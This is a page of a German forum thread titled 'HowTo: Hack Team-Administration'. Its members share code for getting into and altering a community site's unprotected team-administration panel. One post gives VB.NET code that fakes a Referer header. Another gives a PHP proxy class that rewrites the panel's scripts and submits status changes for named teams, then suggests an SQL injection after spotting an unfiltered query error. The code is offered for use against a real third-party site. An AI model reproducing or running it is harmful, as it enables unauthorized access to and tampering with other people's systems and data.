Seite 2 von 2 Erste 12
  1. #11
    Avatar von Diebspiel
    Registriert seit
    18.11.2011
    Beiträge
    311
    Thanked 192 Times in 102 Posts

    Standard HowTo: Hack Team-Administration

    Noch eine bessere Lösung in VB.NET (damit besucht man die Seite live, im Gegensatz zu anderen, wo man sie erst runterladen muss)

    Code:
    Dim a(0) As Byte
    WebBrowser1.Navigate("http://knuddels-magdeburg.de/iphone/checkout/", "", a, "Referer: http://forum.knuddels.de/ubbthreads.php?ubb=showflat&Number=2150746" + Environment.NewLine)
    - 1a

  2. #12

    Registriert seit
    01.07.2011
    Beiträge
    103
    Thanked 54 Times in 45 Posts

    Standard HowTo: Hack Team-Administration

    Habe gerade nochmals meine Klasse geupdatet. Der holt sich nun alle Javascripts und ändert einige Funktionen, damit auch das Speichern (Was über Ajax fungiert) richtig funzt.

    Aber ich glaub, man hat dies bereits schon gemerkt ^^ Denn die XML-Struktur existiert nicht mehr. Der holt sich den Status online von einer XML (also "Abgemeldet", "inaktiv",..). Diese wurden anscheinend nun entfernt, dass man nimmer Speichern kann. Aber auch das kann man in 2 Minuten umgehen x'D

    PHP-Code:
    REMOVE 
    Edit:
    LOL! Der Junge Filtert noch nichtmals die Daten x'D
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
    Vielleicht mal ne SQL-Injection starten x'D

    Hier der neue Code (Speichern funzt nun auch):
    PHP-Code:
    <?php
        
    /*
            Team-Administration Class
            @Author        Batzi
            @Version    1.1
        */
        
    ob_start();
        
        class 
    TeamCheckout {
            protected static 
    $team            "";
            protected static 
    $referrer        "";
            protected static 
    $javascripts    "";

            function 
    setTeam($name) {
                
    self::$team $name;
            }
            
            function 
    output() {
                
    self::getForumLink();
                
    self::getAdministration();
                
                if(isset(
    $_POST['save'])) {
                    
    self::getPost();
                }
            }
            
            function 
    getForumLink() {
                
    $html self::getRequest("http://knuddels-magdeburg.de/" self::$team "/checkout/");
                
    preg_match_all("/<a href='(.+)'>Forum<\/a>/Uis"$html$data);
                
    self::$referrer $data[1][0];
            }
            
            function 
    getAdministration() {
                
    $html self::getRequest("http://knuddels-magdeburg.de/" self::$team "/checkout/");
                
                
    preg_match_all("/<script(.+)src="(.+)"><\/script>/Uis"$html$data);
                for(
    $i 0$i count($data[2]); $i++) {
                    
    self::addJavaScripts($data[2][$i]);
                }
                
                
    $html preg_replace("/<script(.+)><\/script>/Uis"""$html);
                
    $html preg_replace("/<title>(.+)<\/title>/Uis""<title>$1</title>" self::getJavaScripts(), $html);
                
                
    $html str_replace("id="selectStatus"""name="selectStatus""$html);
                
    $html str_replace("id='inputStart'""name='inputStart'"$html);
                
    $html str_replace("id='inputEnd'""name='inputEnd'"$html);
                
    $html str_replace("id='inputReason'""name='inputReason'"$html);
                
    $html preg_replace("/<body(.+)>/Uis""<body$1><form method="post" action="">"$html);
                
    $html preg_replace("/<\/body>/Uis""</form></body>"$html);

                print 
    $html;
            }
            
            function 
    addJavaScripts($name) {
                
    $data self::getRequest("http://knuddels-magdeburg.de/" self::$team "/checkout/" $name);
                
    $data preg_replace("/\/\*(.*)\*\//Uis"""$data);
                
    self::$javascripts .= $data;
            }
            
            function 
    getJavaScripts() {
                
    self::$javascripts str_replace("postDataReturnXml('saveCheckout.php', params, reload);""postDataReturnXml('http://knuddels-magdeburg.de/" self::$team "/checkout/saveCheckout.php', params, reload);"self::$javascripts);
                
    self::$javascripts str_replace("postDataReturnXml("getCheckoutStates.php", "", setCheckoutStates);""postDataReturnXml("http://knuddels-magdeburg.de/" . self::$team . "/checkout/getCheckoutStates.php", "", setCheckoutStates);", self::$javascripts);
                
    self::$javascripts str_replace("var checkoutStates = new Array();""var checkoutStates = ['Angemeldet','Teilaktiv','Abgemeldet'];"self::$javascripts);
                
                
    self::$javascripts preg_replace("/<a href='(.+)'>Speichern<\/a>/Uis""<input type='hidden' name='nickId' value='" nickId "' /><input type='hidden' name='checkoutid' id='checkoutid' /><input type='submit' onclick='fuckoff(" nickId ");' name='save' value='Speichern' />"self::$javascripts);
                
                
    $html "<script type="text/javascript" language="javascript">                        
                            " 
    self::$javascripts "
                            
                            function fuckoff(nickId) {
                                var row = getRowOfNick(nickId);
                                document.getElementById('checkoutid').value = row.attributes.getNamedItem('checkoutid').value;
                            }
                        </script>"
    ;
                return 
    $html;
            }
            
            function 
    getRequest($site$post = array()) {
                
    $socket curl_init();
                
    curl_setopt($socketCURLOPT_REFERER,            self::$referrer);
                
    curl_setopt($socketCURLOPT_URL,                $site);
                
    curl_setopt($socketCURLOPT_RETURNTRANSFER,    1);
                
                if(
    count($post) != 0) {
                    
    curl_setopt($socketCURLOPT_POST,            1);
                    
    curl_setopt($socketCURLOPT_POSTFIELDS,    $post);
                }
                
                return 
    curl_exec($socket);
                
    curl_close($socket);
            }
            
            function 
    getPost() {
                
    $data = array(
                    
    "nickid"         => $_POST['nickId'],
                    
    "checkoutid"     => $_POST['checkoutid'],
                    
    "status"        => $_POST['selectStatus'],
                    
    "start"            => $_POST['inputStart'],
                    
    "end"            => $_POST['inputEnd'],
                    
    "reason"        => $_POST['inputReason']
                );
                
    self::getRequest("http://knuddels-magdeburg.de/" self::$team "/checkout/saveCheckout.php"$data);
                
    header("Location: " basename($_SERVER['PHP_SELF']));
            }
        }
        
        
    header("Content-Type: text/html; charset=UTF-8");
        
        
    /* How to Use: */
        
    $team = new TeamCheckout;
        
    /*
            Gültige Teams:
                bugs
                smileywars
                iphone
                foto
        */
        
    $team->setTeam("foto");
        
    $team->output();
    ?>
    Sind abewr einige Fleißig ich Zitiere:
    Ich mag Schwänze
    xD
    __________________
    So wies ausschaut brauchen alle Teams mal aktivere Team-Mitglieder

  3. #13

    Registriert seit
    01.07.2011
    Beiträge
    103
    Thanked 54 Times in 45 Posts

    Standard HowTo: Hack Team-Administration

    Sehr schade :-D

    wolltihrmichverarschen hats bemerkt und die Administration geloescht (Hoechstwahrscheinlich hat er dit verschoben).

  4. #14
    Avatar von Diebspiel
    Registriert seit
    18.11.2011
    Beiträge
    311
    Thanked 192 Times in 102 Posts

    Standard HowTo: Hack Team-Administration

    wolltihrmichverarschen ist ein Lowbob, hab mehrere Logs von seinen Äußerungen diesbezüglich geschickt bekommen. Copy & Pasted alles aus Google und wundert sich, wenn auf einmal eine Injection möglich ist. Naja egal. Wenn er das wirklich nur renamed hat, haben wir eventuell bald wieder den neuen Link, weils doch die ein oder andere Kontaktperson aus den oben angegebenen Teams hier gibt, mal sehen. Denke nicht, es ist gefixxt, bzw. noch nicht oder ob er überhaupt in der Lage dazu ist.

    Grüße

Seite 2 von 2 Erste 12

Ähnliche Themen

  1. [Kritik] Technische Administration uvm.
    Von Prinzessin Paat im Forum Feedback
    Antworten: 18
    Letzter Beitrag: 06.02.2013, 15:47
  2. Suche League of Legends Ranked Team / Elo Team
    Von Silidor im Forum Gaming Allgemein
    Antworten: 2
    Letzter Beitrag: 20.07.2012, 22:36
  3. [Kritik] Verheimlichungen von der Seite der Administration
    Von Comu im Forum Feedback
    Antworten: 3
    Letzter Beitrag: 05.07.2012, 23:56
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.